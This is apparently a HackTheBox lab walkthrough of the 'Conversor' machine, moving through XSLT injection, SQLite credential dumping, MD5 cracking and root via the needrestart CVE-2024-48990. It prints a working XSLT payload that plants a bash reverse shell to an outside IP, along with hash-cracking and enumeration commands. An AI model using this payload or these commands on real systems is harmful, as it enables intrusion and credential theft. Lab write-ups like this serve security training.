Conversor writeup & walkthrough

Conversor is a medium HackTheBox Linux machine involving source code analysis, crontab abuse, and privilege escalation via a vulnerable npm package (CVE-2024-48990).

HackTheBox - Conversor

Access Path

no access => www-data => user => root

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level. ---

Initial Foothold

Source Code Analysis:

# Download source code from about page
tar -xvf source_code.tar.gz

# Read installation documentation
cat install.md

# Found: /var/www in crontab references
# Check database configuration
# Analyze with Snyk for vulnerabilities

XSLT Injection

Exploit Payload:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" 
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
    xmlns:shell="http://exslt.org/common" 
    extension-element-prefixes="shell">
    
    <xsl:template match="/">
        <shell:document href="/var/www/conversor.htb/scripts/shell.py" method="text">
import os
os.system('bash -c "bash -i >&amp; /dev/tcp/10.10.14.61/443 0>&amp;1"')
        </shell:document>
    </xsl:template>
</xsl:stylesheet>

Shell as www-data

Lateral Movement (www-data → user)

SQLite Database Enumeration:

# Access database
sqlite3 instance/users.db

# List tables
.tables

# Extract user credentials
select * from users;

Crack Password Hash:

# Crack MD5 hash
hashcat -m 0 hash.txt $rockyou

SSH Access:

# Login with cracked credentials
ssh [email protected]

Privilege Escalation (user → root)

Sudo Enumeration:

# Check sudo privileges
sudo -l

# we check gtfobins and sudo -l and we see that we can use all flags
# Found: -c flag with privesc.perl

Or we exploit it through: CVE-2024-48990 - needrestart Privilege Escalation

• Payload: https://github.com/pentestfunctions/CVE-2024-48990-PoC-Testing

# Compile exploit on attacker machine
# Transfer to target
# Run exploit